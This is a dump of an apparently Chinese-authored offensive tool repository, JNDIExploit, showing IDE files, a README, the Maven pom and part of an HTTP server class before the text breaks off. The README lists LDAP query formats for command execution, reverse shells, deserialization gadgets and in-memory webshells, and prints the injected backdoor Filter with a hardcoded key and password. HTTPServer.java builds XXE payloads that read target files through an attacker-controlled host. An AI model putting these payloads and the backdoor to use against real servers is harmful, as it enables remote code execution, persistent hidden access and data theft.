Showing preview only (265K chars total). Download the full file or copy to clipboard to get everything.
Repository: zzwlpx/JNDIExploit
Branch: master
Commit: 7aa2b5f8ab74
Files: 60
Total size: 34.9 MB
Directory structure:
gitextract_idkl6mhj/
├── .gitignore
├── .idea/
│ ├── .gitignore
│ ├── compiler.xml
│ ├── encodings.xml
│ ├── libraries/
│ │ ├── weblogic.xml
│ │ └── webserviceclient.xml
│ ├── misc.xml
│ ├── uiDesigner.xml
│ └── vcs.xml
├── JNDIExploit.iml
├── README.md
├── lib/
│ ├── weblogic.jar
│ └── webserviceclient.jar
├── pom.xml
└── src/
├── main/
│ └── java/
│ └── com/
│ └── feihong/
│ └── ldap/
│ ├── HTTPServer.java
│ ├── LdapServer.java
│ ├── Starter.java
│ ├── controllers/
│ │ ├── BasicController.java
│ │ ├── GroovyBypassController.java
│ │ ├── LdapController.java
│ │ ├── LdapMapping.java
│ │ ├── PropertiesRefAddr.java
│ │ ├── SerializedDataController.java
│ │ ├── TomcatBypassController.java
│ │ └── WebsphereBypassController.java
│ ├── enumtypes/
│ │ ├── GadgetType.java
│ │ ├── MemShellType.java
│ │ ├── PayloadType.java
│ │ └── WebsphereActionType.java
│ ├── exceptions/
│ │ ├── IncorrectParamsException.java
│ │ ├── UnSupportedActionTypeException.java
│ │ ├── UnSupportedGadgetTypeException.java
│ │ └── UnSupportedPayloadTypeException.java
│ ├── gadgets/
│ │ ├── C3P0.java
│ │ ├── CommonsBeanutils1.java
│ │ ├── CommonsCollections1.java
│ │ ├── CommonsCollections2.java
│ │ ├── Jre8u20.java
│ │ ├── URLDNS.java
│ │ └── utils/
│ │ ├── ClassFiles.java
│ │ ├── Gadgets.java
│ │ ├── Reflections.java
│ │ └── Util.java
│ ├── template/
│ │ ├── CommandTemplate.java
│ │ ├── DnslogTemplate.java
│ │ ├── DynamicFilterTemplate.java
│ │ ├── JBossMemshellTemplate.java
│ │ ├── JettyMemshellTemplate.java
│ │ ├── MyClassLoader.java
│ │ ├── ReverseShellTemplate.java
│ │ ├── SpringMemshellTemplate.java
│ │ ├── Template.java
│ │ ├── TomcatMemshellTemplate.java
│ │ ├── WeblogicMemshellTemplate.java
│ │ └── WebsphereMemshellTemplate.java
│ └── utils/
│ ├── Cache.java
│ ├── Config.java
│ └── Util.java
└── test/
└── java/
├── TestBase64.java
└── TestProgram.java
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
/target/
================================================
FILE: .idea/.gitignore
================================================
# Default ignored files
/workspace.xml
================================================
FILE: .idea/compiler.xml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="CompilerConfiguration">
<annotationProcessing>
<profile name="Maven default annotation processors profile" enabled="true">
<sourceOutputDir name="target/generated-sources/annotations" />
<sourceTestOutputDir name="target/generated-test-sources/test-annotations" />
<outputRelativeToContentRoot value="true" />
<module name="JNDIExploit" />
</profile>
</annotationProcessing>
</component>
<component name="JavacSettings">
<option name="ADDITIONAL_OPTIONS_OVERRIDE">
<module name="JNDIExploit" options="-extdirs G:\code\java\JNDIExploit/lib" />
</option>
</component>
</project>
================================================
FILE: .idea/encodings.xml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="Encoding">
<file url="file://$PROJECT_DIR$/src/main/java" charset="UTF-8" />
<file url="file://$PROJECT_DIR$/src/main/resources" charset="UTF-8" />
</component>
</project>
================================================
FILE: .idea/libraries/weblogic.xml
================================================
<component name="libraryTable">
<library name="weblogic">
<CLASSES>
<root url="jar://$PROJECT_DIR$/lib/weblogic.jar!/" />
</CLASSES>
<JAVADOC />
<SOURCES />
</library>
</component>
================================================
FILE: .idea/libraries/webserviceclient.xml
================================================
<component name="libraryTable">
<library name="webserviceclient">
<CLASSES>
<root url="jar://$PROJECT_DIR$/lib/webserviceclient.jar!/" />
</CLASSES>
<JAVADOC />
<SOURCES />
</library>
</component>
================================================
FILE: .idea/misc.xml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ASMPluginConfiguration">
<asm skipDebug="false" skipFrames="false" skipCode="false" expandFrames="false" />
<groovy codeStyle="LEGACY" />
</component>
<component name="ExternalStorageConfigurationManager" enabled="true" />
<component name="MavenProjectsManager">
<option name="originalFiles">
<list>
<option value="$PROJECT_DIR$/pom.xml" />
</list>
</option>
</component>
<component name="ProjectRootManager" version="2" languageLevel="JDK_1_6" default="false" project-jdk-name="1.8" project-jdk-type="JavaSDK">
<output url="file://$PROJECT_DIR$/out" />
</component>
</project>
================================================
FILE: .idea/uiDesigner.xml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="Palette2">
<group name="Swing">
<item class="com.intellij.uiDesigner.HSpacer" tooltip-text="Horizontal Spacer" icon="/com/intellij/uiDesigner/icons/hspacer.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="1" hsize-policy="6" anchor="0" fill="1" />
</item>
<item class="com.intellij.uiDesigner.VSpacer" tooltip-text="Vertical Spacer" icon="/com/intellij/uiDesigner/icons/vspacer.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="1" anchor="0" fill="2" />
</item>
<item class="javax.swing.JPanel" icon="/com/intellij/uiDesigner/icons/panel.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3" />
</item>
<item class="javax.swing.JScrollPane" icon="/com/intellij/uiDesigner/icons/scrollPane.png" removable="false" auto-create-binding="false" can-attach-label="true">
<default-constraints vsize-policy="7" hsize-policy="7" anchor="0" fill="3" />
</item>
<item class="javax.swing.JButton" icon="/com/intellij/uiDesigner/icons/button.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="3" anchor="0" fill="1" />
<initial-values>
<property name="text" value="Button" />
</initial-values>
</item>
<item class="javax.swing.JRadioButton" icon="/com/intellij/uiDesigner/icons/radioButton.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
<initial-values>
<property name="text" value="RadioButton" />
</initial-values>
</item>
<item class="javax.swing.JCheckBox" icon="/com/intellij/uiDesigner/icons/checkBox.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
<initial-values>
<property name="text" value="CheckBox" />
</initial-values>
</item>
<item class="javax.swing.JLabel" icon="/com/intellij/uiDesigner/icons/label.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="0" anchor="8" fill="0" />
<initial-values>
<property name="text" value="Label" />
</initial-values>
</item>
<item class="javax.swing.JTextField" icon="/com/intellij/uiDesigner/icons/textField.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
<preferred-size width="150" height="-1" />
</default-constraints>
</item>
<item class="javax.swing.JPasswordField" icon="/com/intellij/uiDesigner/icons/passwordField.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
<preferred-size width="150" height="-1" />
</default-constraints>
</item>
<item class="javax.swing.JFormattedTextField" icon="/com/intellij/uiDesigner/icons/formattedTextField.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
<preferred-size width="150" height="-1" />
</default-constraints>
</item>
<item class="javax.swing.JTextArea" icon="/com/intellij/uiDesigner/icons/textArea.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JTextPane" icon="/com/intellij/uiDesigner/icons/textPane.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JEditorPane" icon="/com/intellij/uiDesigner/icons/editorPane.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JComboBox" icon="/com/intellij/uiDesigner/icons/comboBox.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="2" anchor="8" fill="1" />
</item>
<item class="javax.swing.JTable" icon="/com/intellij/uiDesigner/icons/table.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JList" icon="/com/intellij/uiDesigner/icons/list.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="2" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JTree" icon="/com/intellij/uiDesigner/icons/tree.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JTabbedPane" icon="/com/intellij/uiDesigner/icons/tabbedPane.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
<preferred-size width="200" height="200" />
</default-constraints>
</item>
<item class="javax.swing.JSplitPane" icon="/com/intellij/uiDesigner/icons/splitPane.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
<preferred-size width="200" height="200" />
</default-constraints>
</item>
<item class="javax.swing.JSpinner" icon="/com/intellij/uiDesigner/icons/spinner.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
</item>
<item class="javax.swing.JSlider" icon="/com/intellij/uiDesigner/icons/slider.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
</item>
<item class="javax.swing.JSeparator" icon="/com/intellij/uiDesigner/icons/separator.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3" />
</item>
<item class="javax.swing.JProgressBar" icon="/com/intellij/uiDesigner/icons/progressbar.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1" />
</item>
<item class="javax.swing.JToolBar" icon="/com/intellij/uiDesigner/icons/toolbar.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1">
<preferred-size width="-1" height="20" />
</default-constraints>
</item>
<item class="javax.swing.JToolBar$Separator" icon="/com/intellij/uiDesigner/icons/toolbarSeparator.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="0" anchor="0" fill="1" />
</item>
<item class="javax.swing.JScrollBar" icon="/com/intellij/uiDesigner/icons/scrollbar.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="0" anchor="0" fill="2" />
</item>
</group>
</component>
</project>
================================================
FILE: .idea/vcs.xml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="VcsDirectoryMappings">
<mapping directory="$PROJECT_DIR$" vcs="Git" />
</component>
</project>
================================================
FILE: JNDIExploit.iml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<module type="JAVA_MODULE" version="4" />
================================================
FILE: README.md
================================================
# JNDIExploit
一款用于 ```JNDI注入``` 利用的工具,大量参考/引用了 ```Rogue JNDI``` 项目的代码,支持直接```植入内存shell```,并集成了常见的```bypass 高版本JDK```的方式,适用于与自动化工具配合使用。
## 使用说明
使用 ```java -jar JNDIExploit.jar -h``` 查看参数说明,其中 ```--ip``` 参数为必选参数
```
Usage: java -jar JNDIExploit.jar [options]
Options:
* -i, --ip Local ip address
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8080)
-u, --usage Show usage (default: false)
-h, --help Show this help
```
使用 ```java -jar JNDIExploit.jar -u``` 查看支持的 LDAP 格式
```
Supported LADP Queries
* all words are case INSENSITIVE when send to ldap server
[+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g.
ldap://127.0.0.1:1389/Basic/Dnslog/[domain]
ldap://127.0.0.1:1389/Basic/Command/[cmd]
ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/Basic/TomcatMemshell
ldap://127.0.0.1:1389/Basic/JettyMemshell
ldap://127.0.0.1:1389/Basic/WeblogicMemshell
ldap://127.0.0.1:1389/Basic/JBossMemshell
ldap://127.0.0.1:1389/Basic/WebsphereMemshell
ldap://127.0.0.1:1389/Basic/SpringMemshell
[+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialize/[GadgetType]/[PayloadType]/[Params], e.g.
ldap://127.0.0.1:1389/Deserialize/URLDNS/[domain]
ldap://127.0.0.1:1389/Deserialize/CommonsCollections1/Dnslog/[domain]
ldap://127.0.0.1:1389/Deserialize/CommonsCollections2/Command/[cmd]
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils1/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/Deserialize/C3P0/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/Deserialize/Jre8u20/TomcatMemshell ---ALSO support other memshells
[+] TomcatBypass Queries
ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain]
ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd]
ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell
ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell
[+] GroovyBypass Queries
ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd]
ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
[+] WebsphereBypass Queries
ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
```
* 目前支持的所有 ```PayloadType``` 为
* ```Dnslog```: 用于产生一个```DNS```请求,与 ```DNSLog```平台配合使用,对```Linux/Windows```进行了简单的适配
* ```Command```: 用于执行命令,如果命令有特殊字符,支持对命令进行 ```Base64编码```后传输
* ```ReverseShell```: 用于 ```Linux``` 系统的反弹shell,方便使用
* ```TomcatMemshell```: 用于植入```Tomcat内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```SpringMemshell```: 用于植入```Spring内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```WeblogicMemshell```: 用于植入```Weblogic内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```JettyMemshell```: 用于植入```Jetty内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```JBossMemshell```: 用于植入```JBoss内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```WebsphereMemshell```: 用于植入```Websphere内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell```
* 目前支持的所有 ```GadgetType``` 为
* ```URLDNS```
* ```CommonsBeanutis1```
* ```CommonsCollections1```
* ```CommonsCollections2```
* ```C3P0```
* ```Jre8u20```
* ```WebsphereBypass``` 中的 3 个动作:
* ```list```:基于```XXE```查看目标服务器上的目录或文件内容
* ```upload```:基于```XXE```的```jar协议```将恶意```jar包```上传至目标服务器的临时目录
* ```rce```:加载已上传至目标服务器临时目录的```jar包```,从而达到远程代码执行的效果(这一步本地未复现成功,抛```java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server thread is not allowed.```异常,有复现成功的小伙伴麻烦指导下)
## ```内存shell```说明
* 采用动态添加 ```Filter/Controller```的方式,并将添加的```Filter```移动至```FilterChain```的第一位
* ```内存shell``` 的兼容性测试结果请参考 [memshell](https://github.com/feihong-cs/memShell) 项目
* ```Basic cmd shell``` 的访问方式为 ```/anything?type=basic&pass=[cmd]```
* ```Behinder shell``` 的访问方式需要修改```冰蝎```客户端(请参考 [冰蝎改造之适配基于tomcat Filter的无文件webshell](https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ) 的方式二自行修改),并在访问时需要添加 ```X-Options-Ai``` 头部,密码为```rebeyond```
植入的 Filter 代码如下:
```
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[+] Dynamic Filter says hello");
String k;
Cipher cipher;
if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) {
k = servletRequest.getParameter("pass");
if (k != null && !k.isEmpty()) {
cipher = null;
String[] cmds;
if (File.separator.equals("/")) {
cmds = new String[]{"/bin/sh", "-c", k};
} else {
cmds = new String[]{"cmd", "/C", k};
}
String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next();
servletResponse.getWriter().println(result);
}
} else if (((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null) {
try {
if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) {
k = "e45e329feb5d925b";
((HttpServletRequest)servletRequest).getSession().setAttribute("u", k);
cipher = Cipher.getInstance("AES");
cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
byte[] evilClassBytes = cipher.doFinal((new BASE64Decoder()).decodeBuffer(servletRequest.getReader().readLine()));
Class evilClass = (Class)this.myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke((Object)null, evilClassBytes, Thread.currentThread().getContextClassLoader());
Object evilObject = evilClass.newInstance();
Method targetMethod = evilClass.getDeclaredMethod("equals", ServletRequest.class, ServletResponse.class);
targetMethod.invoke(evilObject, servletRequest, servletResponse);
}
} catch (Exception var10) {
var10.printStackTrace();
}
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
```
## 参考
* https://github.com/veracode-research/rogue-jndi
* https://github.com/welk1n/JNDI-Injection-Exploit
* https://github.com/welk1n/JNDI-Injection-Bypass
================================================
FILE: lib/weblogic.jar
================================================
[File too large to display: 34.7 MB]
================================================
FILE: pom.xml
================================================
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>JNDIExploit</artifactId>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
<configuration>
<source>6</source>
<target>6</target>
<compilerArguments>
<extdirs>${project.basedir}/lib</extdirs>
</compilerArguments>
</configuration>
</plugin>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<appendAssemblyId>false</appendAssemblyId>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<mainClass>com.feihong.ldap.Starter</mainClass>
</manifest>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>assembly</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
<properties>
<maven.test.skip>true</maven.test.skip>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
<!-- <spring.version>3.0.5.RELEASE</spring.version>-->
<spring.version>3.2.3.RELEASE</spring.version>
<!-- <spring.version>4.0.5.RELEASE</spring.version>-->
<!-- <spring.version>4.3.28.RELEASE</spring.version>-->
<!-- <spring.version>5.0.8.RELEASE</spring.version>-->
<!-- <spring.version>5.2.10.RELEASE</spring.version>-->
</properties>
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-oxm</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-jdbc</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-test</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.mchange/c3p0 -->
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.5</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-beanutils/commons-beanutils -->
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-core -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.58</version>
</dependency>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>8.0.1</version>
</dependency>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<dependency>
<groupId>com.nqzero</groupId>
<artifactId>permit-reflect</artifactId>
<version>0.3</version>
</dependency>
<!-- https://mvnrepository.com/artifact/net.jodah/expiringmap -->
<dependency>
<groupId>net.jodah</groupId>
<artifactId>expiringmap</artifactId>
<version>0.5.9</version>
</dependency>
<dependency>
<groupId>org.reflections</groupId>
<artifactId>reflections</artifactId>
<version>0.9.10</version>
</dependency>
<!-- https://mvnrepository.com/artifact/io.undertow/undertow-core -->
<dependency>
<groupId>io.undertow</groupId>
<artifactId>undertow-core</artifactId>
<version>2.2.2.Final</version>
</dependency>
<!-- https://mvnrepository.com/artifact/io.undertow/undertow-servlet -->
<dependency>
<groupId>io.undertow</groupId>
<artifactId>undertow-servlet</artifactId>
<version>2.2.2.Final</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.jboss.spec.javax.security.jacc/jboss-jacc-api_1.4_spec -->
<dependency>
<groupId>org.jboss.spec.javax.security.jacc</groupId>
<artifactId>jboss-jacc-api_1.4_spec</artifactId>
<version>1.0.3.Final</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.beust/jcommander -->
<dependency>
<groupId>com.beust</groupId>
<artifactId>jcommander</artifactId>
<version>1.78</version>
</dependency>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.5</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.8</version>
</dependency>
</dependencies>
</project>
================================================
FILE: src/main/java/com/feihong/ldap/HTTPServer.java
================================================
package com.feihong.ldap;
import com.feihong.ldap.template.CommandTemplate;
import com.feihong.ldap.template.DnslogTemplate;
import com.feihong.ldap.template.ReverseShellTemplate;
import com.feihong.ldap.utils.Cache;
import com.feihong.ldap.utils.Config;
import com.feihong.ldap.utils.Util;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.lang3.reflect.FieldUtils;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.util.*;
import java.util.jar.JarOutputStream;
import java.util.zip.ZipEntry;
public class HTTPServer {
public static void start() throws IOException {
HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0);
httpServer.createContext("/", new HttpHandler() {
public void handle(HttpExchange httpExchange){
try {
System.out.println("[+] New HTTP Request From " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
String path = httpExchange.getRequestURI().getPath();
if(path.endsWith(".class")){
handleClassRequest(httpExchange);
}else if(path.endsWith(".wsdl")){
handleWSDLRequest(httpExchange);
}else if(path.endsWith(".jar")){
handleJarRequest(httpExchange);
}else if(path.startsWith("/xxelog")){
handleXXELogRequest(httpExchange);
}else{
httpExchange.sendResponseHeaders(404, 0);
httpExchange.close();
System.out.println("[!] Response Code: " + 404);
}
} catch (Exception e) {
e.printStackTrace();
}
}
});
httpServer.setExecutor(null);
httpServer.start();
System.out.println("[+] HTTP Server Start Listening on " + Config.httpPort + "...");
}
public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException {
Object exchangeImpl = FieldUtils.readField(exchange, "impl", true);
Object request = FieldUtils.readField(exchangeImpl, "req", true);
String startLine = (String) FieldUtils.readField(request, "startLine", true);
// System.out.println("[\u001B[31]mxxe attack result: " + startLine + "\u001B[0m");
System.out.println("[+] XXE Attack Result: " + startLine);
exchange.sendResponseHeaders(200, 0);
exchange.close();
}
private static void handleJarRequest(HttpExchange exchange) throws IOException{
String path = exchange.getRequestURI().getPath();
String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if(Cache.contains(jarName)){
System.out.println("[+] Response Code: " + 200);
byte[] bytes = Cache.get(jarName);
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
System.out.println("[+] Stalling connection for 60 seconds");
try{
Thread.sleep(60000);
}catch (InterruptedException e){
e.printStackTrace();
}
System.out.println("[+] Release stalling...");
}else{
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}
private static void handleClassRequest(HttpExchange exchange) throws IOException{
String path = exchange.getRequestURI().getPath();
String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
System.out.println("[+] Receive ClassRequest: " + className + ".class");
if(Cache.contains(className)){
System.out.println("[+] Response Code: " + 200);
byte[] bytes = Cache.get(className);
exchange.sendResponseHeaders(200, bytes.length);
exchange.getResponseBody().write(bytes);
}else{
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}
private static void handleWSDLRequest(HttpExchange exchange) throws Exception {
String query = exchange.getRequestURI().getQuery();
Map<String, String> params = parseQuery(query);
String path = exchange.getRequestURI().getPath().substring(1);
if(path.startsWith("list")) {
//intended to list directories or read files on server
String file = params.get("file");
if (file != null && !file.isEmpty()) {
String listWsdl = "" +
"<!DOCTYPE x [\n" +
" <!ENTITY % aaa SYSTEM \"file:///" + file + "\">\n" +
" <!ENTITY % bbb SYSTEM \"http://" + Config.ip + ":" + Config.httpPort + "/http.wsdl\">\n" +
" %bbb;\n" +
"]>\n" +
"<definitions name=\"HelloService\" xmlns=\"http://schemas.xmlsoap.org/wsdl/\">\n" +
" &ddd;\n" +
"</definitions>";
System.out.println("[+] Response Code: " + 200);
exchange.sendResponseHeaders(200, listWsdl.getBytes().length);
exchange.getResponseBody().write(listWsdl.getBytes());
} else {
System.out.println("[!] Missing or wrong argument");
System.out.println("[!] Response Code: " + 404);
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}else if(path.startsWith("upload")) {
String type = params.get("type");
String[] args = null;
if (type.equalsIgnoreCase("command")) {
args = new String[]{params.get("cmd")};
} else if (type.equalsIgnoreCase("dnslog")) {
args = new String[]{params.get("url")};
} else if (type.equalsIgnoreCase("reverseshell")) {
args = new String[]{params.get("ip"), params.get("port")};
}
String jarName = createJar(type, args);
if (jarName != null) {
